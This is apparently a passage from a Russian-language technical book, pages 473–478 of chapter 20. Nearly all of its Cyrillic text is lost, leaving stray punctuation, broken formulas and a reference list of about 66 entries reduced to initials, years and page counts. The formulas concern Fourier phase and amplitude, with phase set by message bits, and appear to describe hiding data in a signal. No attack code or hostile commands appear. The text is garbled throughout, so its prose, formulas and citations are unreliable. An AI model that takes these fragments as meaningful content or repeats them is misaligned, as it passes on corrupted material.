l .
- .
0 1 .
,
. ,
. , . ,
:
;
, .

473

.
N ci(n) l(m),
i(k) Ai(k):

i(k) = arctan

Im[F{ci}(k)]2
Ai(k) = Re[F{ci}(k)]2 + Im[F{ci}(k)]2
Re[F{ci}(k)]2

,
, . :
/2, mk = 0

0 (k) =
/2, mk = 1

, :

1 (k) = 0 (k) + [ 1 (k) 0 (k) ]


. . .

N(k) = N1(k) + [N(k) N1(k) ]


Ai(k). ,
0(k) . ,
(m), 0(k).


Internet. , ,
, .
. , , , , .
,
, , , , , , , ,
, , , . , ,
, , .

. -

474

20.

, , , , .
, , ,
,
, .

.
, , . , , . ,
(i, j) + + (i + k, j + r) = xi(t), , (, ) + + ( + e, + q) = x(m). ,
.
( ) .
. L(t) L(m). , L(m) L(t), , ,
xi(t) x(m). .
, -
.
, ,
.
Internet, Web, ,
, ,
, .

1. .., .., ..
. . .-.: , 1996. 272
.
2. .., .. . .: ,
1996. 448 . / . ... .. .
2- . .: , 1991.
3. .., .. . .l. .: , 2002.
240 .
4. .., ..
. .: . ., 1991. 160 .
5. . .: 1992, 124 .
6. ., . : . . .:
, 1989. 540 .
7. . 19962003 ., 16.
8. .., .., ..
. .
.: , 2001. 138 .
9. .. . .: , 1975. 255 .
10. / . .. . -.: , 2001.
288 .
11. .. . : -
, 1998. 248 .
12. .., .. '
: . i/ . .. . .:
, 2001. 201 .
13. /.-. .. . .: ;
, 2000. 496 .
14. .. . : , 1994. 112 .
15. .. . 2- . .: , 1994.
16. .., .. . .: ,
1997. 538 .
17. .., .. . .:
, 1996. 67 .
18. .. . .: , 1975. 158 .
19. .. .
. .: , 2001. 688 .

476

20.

20. .. . .:
, 1999. 480 .
21. .., .. 25 . .: , 1994. 69 .
22. . . .: ABF, 1996.
336 .
23. . . 1989, N2 12.
24. . 19992003 ., 14.
25. . 19952003 ., 16.
26. . . ./. , . , .
.; . . . .: , 1992. 285 .
27. .., .. . .:
, 2000. 452 .
28. .. . / . .
.. . .- .: , 1992. 100 .
29. -88. .
468 222.001 . .., .., .. r . 20.
30. .., .., .., .. . .-.: , 2000. 896 .
31. .. . .: , 1984. 336 .
32. .., .. . .-.: , 2000. 134 .
33. .., . . .:
. , 1978. 296 .
34. .. .. .
.: r, 1996. 304 .
35. . : . . .: , 1985.
392 .
36. .. . .:
; , 1997. 368 .
37. .. . .: , 1980. 216 .
38. .. . : , 1979. 100 .
39. copee / . . ..
, A.. . .: , 1998. 472 .
40. .. . .: ,
1999. 368 .
41. .., .. . .:
, 2001. 504 .
42. ., .. /. . . . .:
-, 1999. 816 .

477

43. /.. , .. , .. . . .. . .: , 1985. 264 .


44. .., .. .
.: , 1991. 60 .
45. .., .., .. / . .. ; 2- ., . . .:
, 2001. 376 .
46. .., .., .., ..

: . i/ . .. . : , 2003. 466 .
47. .. . .: , 1996. 64 .
48. .., .., .., .., .. . .: , 1992. 190 .
49. . 19982003 ., 16.
50. ., . /. . . .. . .: , 1995. 544 .
51. -. /-, -; . ., .
. .. . .: ; .-.: Terra Fantastica, 2002.
558 .
52.
/.. , .. , .. , .. ; . ..
. .: , 1998. 216 .
53. .. . .:
, 1976. 420 .
54. ., . . .: , 1992. 158 .
55. .. . .: , 1965. 274 .
56. .. . .1. . . .: ,
1998. 320 .
57. .. . .: , 2000. 316
.
58. .., .. . .:
, 2002. 140 .
59. .., .., .., ..
: . . : , 2003. 143 .
60. .. . .: , 2000. 52 .
61. . . . .: , 1992. 80 .

478

20.

62. . . .:
, 1993. 64 .
63. /.. , .. , ..
, .. ; . . .. . .-.: "
", 1999. 512 .
64. .. . .: -86, 1996. 320
.
65. .. . .: -89. 96 .
66. .. . .: , 1994.
112 .